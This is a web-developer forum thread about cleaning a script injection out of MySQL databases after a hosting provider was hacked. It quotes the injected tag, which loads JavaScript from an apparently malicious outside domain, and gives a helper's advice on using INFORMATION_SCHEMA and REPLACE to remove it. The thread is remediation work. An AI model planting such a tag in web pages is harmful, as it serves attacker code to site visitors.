Hello and welcome to our community! Is this your first visit?
Register
Enjoy an ad free experience by logging in. Not a member yet? Register.
Results 1 to 4 of 4
  1. #1
    New Coder
    Join Date
    Aug 2007
    Posts
    35
    Thanks
    3
    Thanked 0 Times in 0 Posts

    Search and Replace?

    So I had some sites over on iPower, they were recently hacked (iPower, not my sites specifically) and I have moved the sites to a new host. Now the problem is that I have a lot of databases with the following string just about everywhere:

    Code:
    <script src="http://infoitpoweringgathering.com/ll.php?kk=11"></script>
    They claim they had run cleaner scripts to remove this, but it is still there. So I need a way to search and replace every table, cell, bit of a given database.

    I'm a bit frustrated so I'm having trouble thinking straight on this issue

    Any ideas are welcome.

    Thanks!

  • #2
    Supreme Master coder! Old Pedant's Avatar
    Join Date
    Feb 2009
    Posts
    25,210
    Thanks
    75
    Thanked 4,343 Times in 4,309 Posts
    And the database is MySQL?

    You can do this with the help of the INFORMATION_SCHEMA database.

    You can ask it for all the tables in your own database:
    Code:
    select table_name from tables where table_schema = 'name of your database';
    Then you can ask for all the columns in a given table:
    Code:
    select column_name, data_type from columns where table_schema='db name' and table_name='one of your tables'
    and then you can go look in all the columns that are text or varchar or char (and are long enough to hold that text) in your actual tables and do a REPLACE that zaps that text.

    Write a little script (PHP or whatever you are familiar with) to run through all the tables and all the columns that are of the right type.

  • Users who have thanked Old Pedant for this post:

    fruitwerks (06-16-2011)

  • #3
    New Coder
    Join Date
    Aug 2007
    Posts
    35
    Thanks
    3
    Thanked 0 Times in 0 Posts
    Thanks - I was thinking it was going to come down to that, just wanted to make sure I didn't miss the magic command documentation

    I think you helped me on my last SQL q as well, posted here long ago.

    I have a feeling it may not be so simple though. I'll update this when I know

  • #4
    Supreme Master coder! Old Pedant's Avatar
    Join Date
    Feb 2009
    Posts
    25,210
    Thanks
    75
    Thanked 4,343 Times in 4,309 Posts
    I'm not a PHP person. I could do this in Java or C++ or even VBScript (either in an ASP page or as a ".vbs" stand-alone file). It's not really hard. Just a bit tedious.

    If you want a ".vbs" solution (the fastest to write, but slowest to run...but not much slower, since all the real work is done in MySQL), I could try it.


  •  

    Posting Permissions

    • You may not post new threads
    • You may not post replies
    • You may not post attachments
    • You may not edit your posts
    •